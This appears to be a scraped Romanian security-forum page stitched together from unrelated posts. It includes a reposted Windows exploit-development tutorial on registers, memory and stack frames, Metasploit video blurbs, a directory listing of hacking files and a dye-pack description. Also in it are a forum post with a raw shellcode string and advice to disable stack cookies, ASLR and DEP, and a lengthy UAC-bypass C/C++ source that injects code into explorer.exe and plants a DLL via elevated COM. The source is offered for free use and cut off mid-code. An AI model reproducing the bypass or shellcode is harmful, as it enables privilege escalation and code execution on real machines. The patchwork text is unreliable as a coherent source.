rarely/never used for anything other than it’s intended purpose. The Instruction Pointer (EIP) Not a general purpose register, but fitting to cover here, EIP points to the memory address of the next instruction to be executed by the CPU. As you’ll see in the coming tutorials, control the value of EIP and you can control the execution flow of the application (to execute code of your choosing). Segment Registers and EFLAGS register There are two additional registers you’ll see in the Register pane, the Segment Register and EFLAGS register. I won’t cover either in detail but note that the EFLAGS register is comprised of a series of flags that represent Boolean values resulting from calculations and comparisons and can be used to determine when/if to take conditional jumps (more on these later). For more on the CPU registers, check out these resources: http://wiki.skullsecurity.org/Registers The Art of Picking Intel Registers Memory Dump Skipping to the Memory Dump pane of the CPU view, this is simply where you can view the contents of a memory location. For example, let’s say you wanted to view the contents of memory at ESP, which in the following screenshot is pointing to 0007FF0C. Right-click on ESP, select “Follow in Dump” and the Memory Dump pane will display that location. CPU Instructions As you are probably aware, most applications today are written in a high-level language (C, C++, etc). When the application is compiled, these high-level language instructions are translated into Assembly which has corresponding opcode to help further translate the instruction into something the machine can understand (machine code). Within the debugger, you can view each Assembly instruction (and corresponding opcode) being processed by the CPU within the CPU Instruction Pane. Note: For the Windows Exploit Series, I’ll be using the x86 assembly language Intel syntax (http://en.wikipedia.org/wiki/X86_assembly_language#Syntax). You can step through the execution flow of the program one at a time (F7) and see the result of each CPU instruction. Let’s take a look at the first set of instructions for Windows Media Player. The program starts paused. Hit F7 a few times to execute the first few instructions until we get to the second MOV DWORD PTR SS: instruction (highlighted in the below screenshot). The MOV instruction copies a data item from one location to another. This instruction is going to move the contents of EBX into the memory address location pointed to by EBP – 18 (remember with x86 Intel syntax it’s MOV [dst] [src]). Notice that EBP (the stack base pointer) is pointing to 0007FFC0. Using your Windows or Mac calculator (in scientific/programmer mode), calculate 0007FFC0 – 0×18. The result should be 0x7FFA8, meaning that the contents of EBP will be placed into the location of address 0007FFA8. In fact, you don’t have to calculate this outside of Immunity. Notice the sub-window at the bottom of the CPU instruction pane. It already tells you the value of EBX, as well as the value of 0007FFC0 – 0×18 and the current contents of that memory location (F4C47D04). You can right-click on the “Stack” line in that sub-window and select “Follow address in Dump” to verify the contents of that memory location. Now hit F7 again to execute the instruction. Notice how the memory location 0007FFA8 now has a value of 00000000, since the contents of EBX were moved there. This was just a quick example of how you can follow the execution of each CPU instruction within Immunity. Here’s a few more common Assembly instructions and syntax you’ll come across: ADD/SUB op1, op2 — add or subtract two operands, storing the result in the first operand. These can be registers, memory locations (limit of one) or constants. For example, ADD EAX, 10 means add 10 to the value of EAX and store the result in EAX XOR EAX, EAX — Performing an ‘exclusive or’ of a register with itself sets its value to zero; an easy way of clearing the contents of a register INC/DEC op1– increment or decrement the value of the operand by one CMP op1, op2 — compare the value of two operands (register/memory address/constant) and set the appropriate EFLAGS value. Jump (JMP) and conditional jump (je, jz, etc) — as the name implies these instructions allow you to jump to another location in the execution flow/instruction set. The JMP instruction simply jumps to a location whereas the conditional jumps (je, jz, etc) are taken only if certain criteria are met (using the EFLAGS register values mentioned earlier). For example, you might compare the values of two registers and jump to a location if they are both equal (uses je instruction and zero flag (zf) = 1). When you see a value in brackets such as ADD DWORD PTR [X] or MOV eax, [ebx] it is referring to the value stored at memory address X. In other words, EBX refers to the contents of EBX whereas [EBX] refers to the value stored at the memory address in EBX. Relevant size keywords: BYTE = 1 byte, WORD = 2 bytes, DWORD = 4 bytes. I’m certainly no expert, but when it comes to understanding and eventually developing your own exploit code, you should to have a pretty solid grasp of Assembly. I’ll be discussing a few more Assembly instructions as we progress but I don’t plan on covering the Assembly language in-depth, so if you need a refresher there are a ton of good online resources including: x86 Assembly Guide Sandpile.org The Art of Assembly Language Programming Windows Assembly Language Megaprimer If you want a book to purchase, you might consider this one: Hacking: The Art of Exploitation: The Art of Exploitation which not only covers the basics of Assembly but also gets into writing exploits (though primarily in a Linux environment). For this series of posts I will do my best to explain any code examples I use so if you have at least some basic understanding of Assembly you should be fine. Windows Memory Layout Before we talk about the stack, I want to talk briefly about the Win32 process memory layout. I should state up-front that this will be an extremely high-level introduction and will not cover concepts such as Address Space Layout Randomization (ASLR), Virtual to Physical Address translation, Paging, Physical Address Extension, etc. I plan to cover some of these topics in a later installment, but for now I want to keep things very simple. First, with Immunity attached to Windows Media Player, take a look at the memory map by hitting ALT+M (Alternatively you can select View->Memory or click the ‘M’ icon on the toolbar). You should be presented with something that looks like the following (exact entries may vary): This is the memory layout of the wmplayer.exe including the stack, heap, loaded modules (DLLs) and the executable itself. I’ll introduce each of these items in a bit more detail using a slightly simplified version of the memory map found on Corelan’s great introductory tutorial on Stack Based Overflows which I’ve mapped to the Immunity memory map of Windows Media Player. Let’s work our way up from the bottom, starting with the portion of memory from 0xFFFFFFFF to 0x7FFFFFFF which is often referred to as “Kernel Land”. Kernel Land This portion of memory is reserved by the OS for device drivers, system cache, paged/non-paged pool, HAL, etc. There is no user access to this portion of memory. Note: for a thorough explanation of Windows memory management you should check out the Windows Internals books (currently two volumes). PEB and TEB(s) When you run a program/application, an instance of that executable known as a process is run. Each process provides the resources necessary to run an instance of that program. Every Windows process has an executive process (EPROCESS) structure that contains process attributes and pointers to related data structures. While most of these EPROCESS structures reside in Kernel Land, the Process Environment Block (PEB) resides in user-accessible memory. The PEB contains various user-mode parameters about a running process. You can use WinDbg to easily examine the contents of the PEB by issuing the !peb command. As you can see, the PEB includes information such as the base address of the image (executable), the location of the heap, the loaded modules (DLLs), and Environment variables (Operating system, relevant paths, etc). Take a look at the ImageBaseAddress from the above WinDbg screenshot. Note the address 01000000. Now refer back to the previous Win32 Memory Map diagram and note how this is the same as the very first address in the Immunity callout of the “Program Image” block. You can do the same for the heap address and associated DLLs. A quick note about symbol files…it’s especially helpful to load the appropriate symbol files when debugging Windows applications as they provide useful, descriptive information for functions, variables, etc. You can do so within WinDbg by navigating to “File –> Symbol File Path…”. Follow the instructions found here: Use the Microsoft Symbol Server to obtain debug symbol files. You can also load symbol files in Immunity by navigating to “Debug –> Debugging Symbol Options”. More details on the entirety of the PEB structure can be found here. A program, or process, can have one or more threads which serve as the basic unit to which the operating system allocates processor time. Each process begins with a single thread (primary thread) but can create additional threads as needed. All of the threads share the same virtual address space and system resources allocated to the parent process. Each thread also has its own resources including exception handlers, priorities, local storage, etc. Just like each program/process has a PEB, each thread has a Thread Environment Block (TEB). The TEB stores context information for the image loader and various Windows DLLs, as well as the location for the exception handler list (which we’ll cover in detail in a later post). Like the PEB, the TEB resides in the process address space since user-mode components require writable access. You can also view the TEB(s) using WinDbg. More details on the entirety of the TEB structure can be found here and more details on processes and threads can be found here. DLLs Windows programs take advantage of shared code libraries called Dynamic Link Libraries (DLLs) which allows for efficient code reuse and memory allocation. These DLLs (also known as modules or executable modules) occupy a portion of the memory space. As shown in the Memory Map screenshot, you can view them in Immunity in the Memory view (Alt+M) or if you want to only view the DLLs you can select the Executable Module view (Alt+E). There are OS/system modules (ntdll, user32, etc) as well as application-specific modules and the latter are often useful in crafting overflow exploits (covered in future posts). Here’s a screenshot of the Memory view in Immunity: Program Image The Program Image portion of memory is where the executable resides. This includes the .text section (containing the executable code/CPU instructions) the .data section (containing the program’s global data) and the .rsrc section (contains non-executable resources, including icons, images, and strings). Heap The heap is the dynamically allocated (e.g. malloc( )) portion of memory a program uses to store global variables. Unlike the stack, heap memory allocation must be managed by the application. In other words, that memory will remain allocated until it is freed by the program or the program itself terminates. You can think of the heap as a shared pool of memory whereas the stack, which we’ll cover next, is more organized and compartmentalized. I won’t go too much deeper to the heap just yet but plan to cover it in a later post on heap overflows. The Stack Unlike the heap, where memory allocation for global variables is relative arbitrary and persistent, the stack is used to allocate short-term storage for local (function/method) variables in an ordered manner and that memory is subsequently freed at the termination of the given function. Recall how a given process can have multiple threads. Each thread/function is allocated its own stack frame. The size of that stack frame is fixed after creation and the stack frame is deleted at the conclusion of the function. PUSH and POP Before we look at how a function is assigned a stack frame, let’s take a quick look at some simple PUSH and POP instructions so you can see how data is placed onto and taken off of the stack. The stack is a last-in first-out (LIFO) structure meaning the last item you put on the stack is the first item you take off. You “push” items onto the top of the stack and you “pop” items off of the top of the stack. Let’s take a look at this in action… In the following screenshot, you’ll see a series of PUSH instructions in the CPU instructions pane (top left), each of which will take a value from one of the registers (top right pane) and put that value on top of the stack (lower right pane). Let’s start with the first PUSH instruction (PUSH ECX). Take note of the value of ECX as well as the address and value of the top of the stack (lower right hand corner of the previous screenshot). Now the PUSH ECX instruction executes… After the first PUSH ECX instruction, the value from ECX (address 0012E6FC) was pushed to the top of the stack (as illustrated in the above screenshot). Notice how the address of the top of the stack decreased by 4 bytes (From 0012E650 to 0012E64C). This illustrates how the stack grows upward to lower addresses as items are pushed to it. Also notice that ESP points to the top of the stack and EBP points to the base of this stack frame. You’ll notice in the coming screenshots that EBP (the base pointer) remains constant while ESP (the stack pointer) shifts as the stack grows and shrinks. Now, the second PUSH ECX instruction will be executed… Once again, the value from ECX (0012E6FC) was pushed to the top of the stack, ESP adjusted its value by another 4 bytes, and as you can see in the above screenshot, the last PUSH instruction (PUSH EDI) is about to be executed. Now the value from EDI (41414139) was pushed to the top of the stack and the next instruction in the list is about to be executed (a MOV instruction) and the value of EDI changed. Let’s skip ahead to the POP EDI instruction to show how items are taken off of the stack. In this case, the current value on top of the stack (41414139) is going to be popped off and placed into EDI. As you can see, the value of EDI has changed back to 41414139 following the POP instruction. Now that you have an idea of how the stack is manipulated, let’s take a look at how stack frames are created for functions and how local variables are placed on the stack. Understanding this will be critical as we move into stack-based overflows in part 2 of this series. Stack Frames and Functions When a program function executes, a stack frame is created to store its local variables. Each function gets its own stack frame, which is put on top of the current stack and causes the stack to grow upwards to lower addresses. Each time a stack frame is created, a series of instructions executes to store function arguments and the return address (so the program knows where to go after the function is over), save the base pointer of the current stack frame, and reserve space for any local function variables. [note: I'm intentionally omitting exception handlers for this basic discussion but will address them in a later post]. Let’s take a look at the creation of a stack frame using one of the simplest functions I could find (from Wikipedia): This code simply calls function foo( ), passing it a single command line argument parameter (argv[1]). Function foo( ) then declares a variable c of length 12, which reserves the necessary space on the stack to hold argv[1]. It then calls function strcpy( ) which copies the value of argv[1] into variable c. As the comment states, there is no bounds checking so this use of strcpy could lead to a buffer overflow, which I’ll demonstrate in the part 2 of this series. For now, let’s just focus on how this function affects the stack. I compiled this c program (as stack_demo.exe) using Visual Studio Command Prompt (2010) to show exactly what it looks like as it executes in a debugger. You can run a program with command line arguments directly from Immunity by selecting File–>Open (or simply hitting F3), selecting your executable, and entering your command line argument(s) in the given field. For this example, I simply used 11 A’s for argv[1]. [We'll take a look at what happens when you use more than 11 in part 2!] If you want to follow along, you’ll probably want to insert some breakpoints at the relevant portions of the code. Since addresses can change, the best method to find our relevant program code is to select View –> Executable modules (or Alt+E). Then, double-click the stack_demo.exe module (or whatever you named your .exe). This should take you to the following: The first line you see is actually the start of foo( ), but we’re going to first take a look at main( ). I’ve set several breakpoints to assist in walking through the code (indicated by the light blue highlight) and you can do the same by selecting the desired address and hitting F2. Let’s take a look at main( ) … Although main( ) does nothing more than call function foo( ) there are a couple of things that have to happen first, as you’ll see within the debugger. First, it pushes the contents of Argv[1] (AAAAAAAAAAAAA) to the stack. Then, when function foo( ) is called, the return address is saved to the stack so the program execution flow can resume at the proper location after function foo( ) terminates. Take a look at the Immunity screenshot, which I’ve commented accordingly — just pay attention to what’s in the red box for now; I’ll cover some of the other instructions shortly. You’ll see a pointer to argv[1] is pushed to the stack right before function foo( ) is called. Then the CALL instruction is executed and the return address to the next instruction (EIP + 4) is also pushed to the stack. If you want proof that address 00332FD4 contains 0033301C which is a pointer to argv[1], refer to the dump contents of that address: You’ll see the contents written backwards as 1C303300. Let me take this opportunity to quickly cover Little Endian notation. “Endianness” refers to the order in which bytes are stored in memory. Intel x86 based systems employ Little Endian notation which stores the least significant byte of a value at the smallest memory address (which is why the address is stored in reverse order). As an example, refer to the above hex dump screenshot — the address at the top (00332FD4) is the smallest and address at the bottom (00333034) is the largest. As such, the byte in the top left (currently occupied by 1C) occupies the smallest address location and the addresses get larger as you move left to right and top to bottom. When you look at an address such as 0033301C, the least significant byte is the byte all the way to the right (1C). To convert it to Little Endian notation you re-order it, one byte at a time, from right to left. Here’s a visual: Ok, so argv[1] and the return address have now been pushed to the stack and function foo( ) has been called. Here’s a look at the stack with the relevant portions highlighted. Note the pointer to argv[1] at address 0012FF74 and right above it the stored RETURN value. If you refer back to the previous screenshot of main( ), you’ll notice that the RETURN address of 0040103F is the next instruction after CALL foo( ), which is where the program execution will pick up after foo( ) terminates. Now let’s look at function foo( ): Once function foo( ) is called, the first thing that happens is the current base pointer (EBP) is saved to the stack via a PUSH EBP instruction so that once the function terminates, the base of the stack for main( ) can be restored. Next, EBP is set equal to ESP (via the instruction MOV EBP, ESP), making the top and bottom of the stack frame equal. From here, EBP will remain constant (for the life of function foo) and ESP will will grow up to a lower address as data is added to the function’s stack frame. Here’s a before and after view of the registers showing that EBP now equals ESP. Next, space is reserved for the local variable c (char c[12]) via the following instruction: SUB ESP, 10. Here’s a look at the stack after this series of instructions: Notice how the top of the stack (and as a result ESP) has changed from 0012FF6C to 0012FF5C. Let’s skip down to the call of strcpy( ), which will copy the contents of the argv[1] (AAAAAAAAAAAAA) into the space that was just reserved on the stack for variable c. Here’s a look at the function in the debugger. I’ve only highlighted the portion that performs the writing to the stack. You’ll notice in the following screenshots that it continues to loop through the value of argv[1], writing to the reserved space on the stack (from top to bottom of the reserved space) until all of argv[1] has been written to the stack. Before we take a look at what happens to the stack when a function terminates, here’s another step-by-step visual to reinforce the steps taken when function foo( ) is called. After strcpy( ) has completed and function foo( ) is ready to terminate, some cleanup has to happen on the stack. Let’s take a look at the stack as foo( ) prepares to terminate and program execution is turned back over to main( ). As you can see, the first instruction that is executed is MOV ESP, EBP which puts the value of EBP in ESP so it now points to 0012FF6C, and effectively removes variable c (AAAAAAAAAAA) from the stack. The top of the stack now contains saved EBP: When the next instruction, POP EBP, is executed it will restore the previous stack base pointer from main( ) and increase ESP by 4. The stack pointer now points to the RETURN value placed on the stack right before foo( ) was called. When the RETN instruction is executed, it will take program execution flow back to the next instruction in main( ) just after the CALL foo( ) instruction, as illustrated in the below screenshot. Function main( ) will perform its own cleanup by moving the stack pointer down the stack (by increasing its value by 4) and clearing the stack of argv[1]. It will then clear the register it used to store argv[1] (EAX) via an XOR, restore the saved EBP, and return to the saved return address. That should be enough of a walk-though to understand how a function stack frame is created/deleted and how local variables are stored on the stack. If you want more examples, I encourage you to check out some of the other great tutorials out there (especially those published by Corelan Team). Conclusion That’s the end of this first installment in the Windows Exploits series. Hopefully, you’re now familiar with using a debugger, can recognize some basic Assembly instructions, and understand (at a high level) how Windows manages memory as well as how the stack operates. In the next post, we’ll pick up with the same basic function foo( ) to introduce the concept of stack-based overflows. Then I’ll jump right into writing a real-world example exploit found for an actual vulnerable software product. I hope this first post was clear, accurate and useful. If you have any questions, comments, corrections, or suggestions for improvement, please don’t hesitate to leave me some feedback in the Comments section. Follow @securitySift Related Posts: Windows Exploit Development – Part 1: The Basics Windows Exploit Development – Part 2: Intro to Stack Based Overflows Windows Exploit Development – Part 3: Changing Offset and Rebased Modules Windows Exploit Development – Part 4: Locating Shellcode with Jumps Windows Exploit Development – Part 5: Locating Shellcode with Egghunting Windows Exploit Development – Part 6: SEH Exploits Sursa: Windows Exploit Development - Part 1: The Basics | Security SiftSecurity Sift

Atentie la cateva aspecte: 1. Foarte important: buffer += ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52 \x1c\x8b\x42""\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\ x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\ x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\ xf2\x81\x7e" "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\ x66\x8b\x2c" "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\ x68\x79\x74" "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\ x89\xe1\xfe" "\x49\x0b\x31\xc0\x51\x50\xff\xd7") Nu stiu sca obervati, dar jegul de cod BB pune niste spatii de-am-pulea! Le scoateti inainte de a rula exploit-ul. 2. Dezactivati protectiile Dezactivati Stack Cookies, ASLR si DEP din setarile proiectului. 3. Atentie la variabilele locale Daca declarati cateva variabile locale in functie care apeleaza strcpy, datele puse pe stiva sunt mai multe. Asadar, cand faceti suprascrierea, in loc de "\x41" * 24 vezi avea mai mult de suprascris (un numar mai mare decat 24: poate 28, poate 32 poate mult mai mult). 4. strcpy_s Visual Studio genereaza warning daca folositi strcpy si va recomanda sa folositi strcpy_s. NU folositi strcpy_s in teste deoarece va preveni buffer overflow-ul.

Vedeti ca aveti ASLR pe Windows 7/8. NU dati reboot dupa ce gasiti adresa pentru jmp esp. Ruleaza pas cu pas in debugger si vezi ce se intampla la RETN, vezi ce se afla in varful stivei la RETN. PS: Stack-ul tau arata total diferit. Tu ai mult mai multe date pe stack, ceva pus de compilator acolo. Pune mai multi de AAAA. ESP-ul tau e xxxxF738 si AAAA-urii sunt la xxxxF788, deci e mai mult spatiu de suprascris. O sa ma uit si eu maine pe Win7, ca acum plec la bere.

Doua. Sau un milion. Depinde. Aplicatia de 10 MB poate sa contina 9MB de imagini. Poate sa contina 6 MB de informatii de debug. Poate sa contina 5 DLL-uri folosite, totalizand 8 MB. Poate sa fie linkata static, adica sa contina si codul librariilor folosite. Iti putem oferi o oarecare statistica daca ne dai executabilul. Putem verifica cat de mare e sectiunea de cod. DAR depinde prea multe lucruri. Daca e in .NET e alta poveste. Daca e in VB, e alta poveste. Daca e in C++, e posibil sa contina mult cod de runtime generat automat de catre compilator. Pune executabilul aici.

Mersi. Astept sa vad si eu cel putin o persoana care a incercat si a reusit. Sau care nu a reusit dar pe care sa o pot ajuta...

[h=1]Penetration Testing and Exploiting with Metasploit + Armitage + msfconsole[/h] Publicat pe 28 iul. 2013 In this Video we show you how to exploit machines with Metasploit, Armitage, and msfconsole. Thumbs up & Subscribe if you like it Links: Links: Facebook: http://www.facebook.com/Netsecnow Blog: Learn Network Security - NetSecNow Twitter: http://www.twitter.com/LearnNetSec Metasploit Guide: http://www.offensive-security.com/met... Sursa:

[h=1]Basics of Penetration Testing by KernelMeltdown.org[/h] Publicat pe 28 oct. 2012 Kernel Meltdown I recorded my workshop last Thursday on this talk, but not surprisingly, the recording did not save! I decided to do the talk and demo again on my own and record it for everyone to enjoy... I did not anticipate it to be over 40 minutes, so I apologize for that, but here you go! Feedback is greatly appreciate it. Otherwise, I would not know what to change to make them better. You can get the powerpoint presentation here: http://kernelmeltdown.org/blog/offens...

[h=2]Index of /[/h] [TABLE] [TR] [TH][/TH] [TH]Name[/TH] [TH]Last modified[/TH] [TH]Size[/TH] [TH]Description[/TH] [/TR] [TR] [TH=colspan: 5] [/TH][/TR] [TR] [TD][/TD] [TD]Cryptography/[/TD] [TD=align: right]24-Jan-2014 17:49 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Embedded/[/TD] [TD=align: right]18-Mar-2014 00:59 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Forensic/[/TD] [TD=align: right]18-Mar-2014 01:00 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Lockpicking/[/TD] [TD=align: right]18-Mar-2014 01:01 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Magazines/[/TD] [TD=align: right]13-Jun-2014 13:47 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Network n Security/[/TD] [TD=align: right]18-Mar-2014 01:01 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Other/[/TD] [TD=align: right]30-Jul-2014 17:38 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Programming/[/TD] [TD=align: right]03-Jun-2014 11:40 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Reverse Engineering/[/TD] [TD=align: right]06-May-2014 16:20 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]The_Hacker_Files_Comic.zip[/TD] [TD=align: right]08-Dec-2013 11:36 [/TD] [TD=align: right]111M[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Todo/[/TD] [TD=align: right]18-Mar-2014 01:01 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Tools/[/TD] [TD=align: right]26-May-2014 17:58 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Windows/[/TD] [TD=align: right]18-Mar-2014 01:02 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Wordlists/[/TD] [TD=align: right]24-Jan-2014 18:02 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]bootnets/[/TD] [TD=align: right]18-Mar-2014 01:02 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]ebooks/[/TD] [TD=align: right]21-Jul-2014 18:24 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]expl0it/[/TD] [TD=align: right]24-Jan-2014 17:56 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]neuromancer.txt[/TD] [TD=align: right]08-Dec-2013 11:36 [/TD] [TD=align: right]532K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]unix/[/TD] [TD=align: right]18-Mar-2014 01:02 [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TH=colspan: 5] [/TH][/TR] [/TABLE] Link: Index of /

A dye pack is a radio-controlled incendiary device used by some banks to preemptively foil a bank robbery by causing stolen cash to be permanently marked with dye shortly after a robbery. In most cases, a dye pack is placed in a hollowed-out space within a stack of banknotes, usually $10 or $20 bills. This stack of bills looks and feels similar to a real one, with technology allowing for the manufacturing of flexible dye packs which are difficult to detect by handling the stack.[1] When the marked stack of bills is not used, it is stored next to a magnetic plate near a bank cashier, in standby or safe mode, ready to be handed over to a potential robber by a bank employee. When it is removed from the magnetic plate, the pack is armed, and once it leaves the building and passes through the door frame, a radio transmitter located at the door will trigger a timer (typically 10 seconds), after which the dye pack will explode and release an aerosol (usually of Disperse Red 9) and sometimes tear gas, intended to permanently stain and destroy the stolen money and mark the robber's body with a bright red color. The chemical reaction causing the explosion of the pack and the release of the dye creates high temperatures of about 200 °C (392 °F) which further discourages a criminal from touching the pack or removing it from the bag or getaway vehicle.[1] Dye packs are used in over 75% of banks in America.[2]

Sunt CV-uri. Nota: Adobe Reader imi crapa in EMET 5. Patiti la fel? Edit: Era de la mine.

[h=1][C/C++] UAC Bypass[/h][h=3]mh4x0f[/h] /* UAC Bypass for Windows 7 RTM, SP1 / Windows 8 DP, CP all 32-bit for admin with default UAC settings Effectively bypasses the UAC rights, because of: 1. "auto-elevation" for certain processes started from explorer.exe 2. anyone can inject anything to explorer.exe This was reported to Microsoft multiple times (months ago) and they are too lame to fix injection to explorer.exe. I've followed the responsible disclosure guidelines, no need to get angry on me. TDL4 is using the bypass for 64-bit already. © 2012 K. Kleissner, Published under EUPL - Take it, use it. Implement it as below, be aware the code makes a copy of itself (the "own" exe) and changes it to be a dll (so be aware of the WinMain -> DllMain entry point implications!). int UACBypass(); int main() { OSVERSIONINFO VersionInfo; VersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&VersionInfo); // Windows 7, 8: Try injecting into auto-elevated process if admin and UAC is on default (prompts 2 times on guest with credential UI so you should add a check for guest) if (VersionInfo.dwMajorVersion == 6 && (VersionInfo.dwMinorVersion == 1 || VersionInfo.dwMinorVersion == 2) && !IsUserElevatedAdmin()) UACBypass(); // ... your code here ... } BOOL IsUserElevatedAdmin() { SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; PSID SecurityIdentifier; if (!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &SecurityIdentifier)) return 0; BOOL IsAdminMember; if (!CheckTokenMembership(NULL, SecurityIdentifier, &IsAdminMember)) IsAdminMember = FALSE; FreeSid(SecurityIdentifier); return IsAdminMember; } */ // WARNING: This code leaves crytpbase.dll in sysprep directory! // This is cleaned up and heavily modified code from originally http://www.pretentiousname.com/misc/win7_uac_whitelist2.html (Win7Elevate_Inject) #define _HAS_EXCEPTIONS 0 #include <windows.h> #include <commctrl.h> #include <shlobj.h> #include <psapi.h> struct InjectArgs { // Functions BOOL (WINAPI *FFreeLibrary)(HMODULE hLibModule); HMODULE (WINAPI *FLoadLibrary)(LPCWSTR lpLibFileName); FARPROC (WINAPI *FGetProcAddress)(HMODULE hModule, LPCSTR lpProcName); BOOL (WINAPI *FCloseHandle)(HANDLE); DWORD (WINAPI *FWaitForSingleObject)(HANDLE,DWORD); // Static strings wchar_t szSourceDll[MAX_PATH]; wchar_t szElevDir[MAX_PATH]; wchar_t szElevDll[MAX_PATH]; wchar_t szElevDllFull[MAX_PATH]; wchar_t szElevExeFull[MAX_PATH]; wchar_t szElevArgs[MAX_PATH]; wchar_t szEIFOMoniker[MAX_PATH]; // szElevatedIFileOperationMoniker // some GUIDs IID pIID_EIFO; IID pIID_ShellItem2; IID pIID_Unknown; // Dll and import strings wchar_t NameShell32[20]; wchar_t NameOle32[20]; char NameCoInitialize[20]; char NameCoUninitialize[20]; char NameCoGetObject[20]; char NameCoCreateInstance[20]; char NameSHCreateItemFromParsingName[30]; char NameShellExecuteExW[20]; // IMPORTANT: Allocating structures here (so we know where it was allocated) SHELLEXECUTEINFO shinfo; BIND_OPTS3 bo; }; // important: error code here is passed back to original process (1 = success, 0 = failure) static DWORD WINAPI RemoteCodeFunc(InjectArgs * Args) { // don't rely on any static data here as this function is copied alone into remote process! (we assume at least that kernel32 is at same address) NTSTATUS Status = 0; // Use an elevated FileOperation object to copy a file to a protected folder. // If we're in a process that can do silent COM elevation then we can do this without any prompts. HMODULE ModuleOle32 = Args->FLoadLibrary(Args->NameOle32); HMODULE ModuleShell32 = Args->FLoadLibrary(Args->NameShell32); if (!ModuleOle32 || !ModuleShell32) return 0; // Load the non-Kernel32.dll functions that we need. HRESULT (WINAPI * FCoInitialize)(LPVOID pvReserved) = (HRESULT (WINAPI * )(LPVOID pvReserved))Args->FGetProcAddress(ModuleOle32, Args->NameCoInitialize); void (WINAPI * FCoUninitialize)(void) = (void (WINAPI * )(void))Args->FGetProcAddress(ModuleOle32, Args->NameCoUninitialize); HRESULT (WINAPI * FCoGetObject)(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv) = (HRESULT (WINAPI * )(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv))Args->FGetProcAddress(ModuleOle32, Args->NameCoGetObject); HRESULT (WINAPI * FCoCreateInstance)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv) = (HRESULT (WINAPI * )(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv))Args->FGetProcAddress(ModuleOle32, Args->NameCoCreateInstance); HRESULT (WINAPI * FSHCreateItemFromParsingName)(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv) = (HRESULT (WINAPI * )(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv))Args->FGetProcAddress(ModuleShell32, Args->NameSHCreateItemFromParsingName); BOOL (WINAPI * FShellExecuteEx)(LPSHELLEXECUTEINFOW lpExecInfo) = (BOOL (WINAPI * )(LPSHELLEXECUTEINFOW lpExecInfo))Args->FGetProcAddress(ModuleShell32, Args->NameShellExecuteExW); if (!FCoInitialize || !FCoUninitialize || !FCoGetObject || !FCoCreateInstance || !FSHCreateItemFromParsingName || !FShellExecuteEx || FCoInitialize(NULL) != S_OK) return 0; Args->bo.cbStruct = sizeof(BIND_OPTS3); Args->bo.dwClassContext = CLSCTX_LOCAL_SERVER; // For testing other COM objects/methods, start here. IFileOperation *pFileOp = 0; IShellItem *pSHISource = 0; IShellItem *pSHIDestination = 0; IShellItem *pSHIDelete = 0; // This is a completely standard call to IFileOperation, if you ignore all the pArgs/func-pointer indirection. if (FCoGetObject(Args->szEIFOMoniker, &Args->bo, Args->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)) == S_OK && pFileOp && pFileOp->SetOperationFlags(FOF_NOCONFIRMATION|FOF_SILENT|FOFX_SHOWELEVATIONPROMPT|FOFX_NOCOPYHOOKS|FOFX_REQUIREELEVATION|FOF_NOERRORUI) == S_OK && // FOF_NOERRORUI is important here to not show error messages, copying fails on guest (takes wrong path) FSHCreateItemFromParsingName( Args->szSourceDll, NULL, Args->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHISource)) == S_OK && pSHISource && FSHCreateItemFromParsingName( Args->szElevDir, NULL, Args->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDestination)) == S_OK && pSHIDestination && pFileOp->CopyItem(pSHISource, pSHIDestination, Args->szElevDll, NULL) == S_OK && pFileOp->PerformOperations() == S_OK) { // Use ShellExecuteEx to launch the "part 2" target 